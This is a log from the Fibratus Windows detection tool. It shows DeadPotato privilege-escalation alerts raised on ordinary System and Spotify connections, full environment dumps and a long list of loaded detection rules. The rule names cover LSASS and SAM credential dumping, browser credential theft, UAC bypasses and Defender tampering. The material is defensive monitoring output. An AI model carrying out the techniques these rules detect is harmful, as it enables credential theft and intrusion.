ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T11:29:58+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): + Seq: 1252148 + Pid: 4 + Tid: 4294967295 + Type: Connect + CPU: 4 + Name: Connect + Category: net + Description: Connects establishes a connection to the socket + Host: archrabbit + Timestamp: 2025-11-25 11:29:52.0667649 +0100 CET + Params: dip➜ ::1, dport➜ 445, dport_name➜ microsoft-ds, l4_proto➜ TCP, pid➜ 4, sip➜ ::1, size➜ 0, sport➜ 59531 + Metadata: rule.name: Potential privilege escalation via DeadPotato exploit, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 4 + Ppid: 0 + Name: System + Parent name: Idle + Cmdline: + Parent cmdline: + Exe: System + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-25T11:30:15+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): + Seq: 1268236 + Pid: 14184 + Tid: 4294967295 + Type: Connect + CPU: 7 + Name: Connect + Category: net + Description: Connects establishes a connection to the socket + Host: archrabbit + Timestamp: 2025-11-25 11:30:13.5830836 +0100 CET + Params: dip➜ 192.168.1.51, dport➜ 7678, l4_proto➜ TCP, pid➜ 14184, sip➜ 192.168.1.12, size➜ 0, sport➜ 59532 + Metadata: rule.name: Potential privilege escalation via DeadPotato exploit, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14184 + Ppid: 4044 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_14184_GJFHDHCIRWNWXHWC COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4044_1262719628:1 EFC_4044_1592913036:1 EFC_4044_2283032206:1 EFC_4044_2775293581:1 EFC_4044_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T11:30:15+01:00 level=info msg=sending alert: [Potential privilege escalation via DeadPotato exploit]. Text: Event(s): + Seq: 1269598 + Pid: 14184 + Tid: 4294967295 + Type: Connect + CPU: 6 + Name: Connect + Category: net + Description: Connects establishes a connection to the socket + Host: archrabbit + Timestamp: 2025-11-25 11:30:13.6763766 +0100 CET + Params: dip➜ 192.168.1.51, dport➜ 8080, dport_name➜ http-alt, l4_proto➜ TCP, pid➜ 14184, sip➜ 192.168.1.12, size➜ 0, sport➜ 59533 + Metadata: rule.name: Potential privilege escalation via DeadPotato exploit, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 14184 + Ppid: 4044 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_14184_GJFHDHCIRWNWXHWC COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_4044_1262719628:1 EFC_4044_1592913036:1 EFC_4044_2283032206:1 EFC_4044_2775293581:1 EFC_4044_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T11:30:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T11:30:16+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:30:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T11:30:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T11:30:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T11:30:51+01:00 level=info msg=bootstrapping with pid 19104. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T11:30:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 content-type=>text/html enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-threadpool=>false min-buffers=>16 enable-handle=>false enable-mem=>false enable-registry=>true stack-enrichment=>true enable-net=>true enable-audit-api=>true flush-interval=>1s max-buffers=>36 